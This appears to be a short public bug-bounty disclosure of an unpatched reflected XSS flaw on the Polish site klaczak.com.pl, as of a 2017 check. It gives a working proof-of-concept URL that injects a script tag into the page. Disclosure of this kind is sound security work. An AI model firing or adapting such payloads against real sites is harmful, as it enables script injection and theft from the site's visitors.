klaczak.com.pl XSS vulnerability

Vulnerable URL: http://www.klaczak.com.pl/zapytanie=nakladki=nakladki/%22%27--!%3E%3Cscript%3Ealert'OPENBUGBOUNTY'%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 14.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 63661...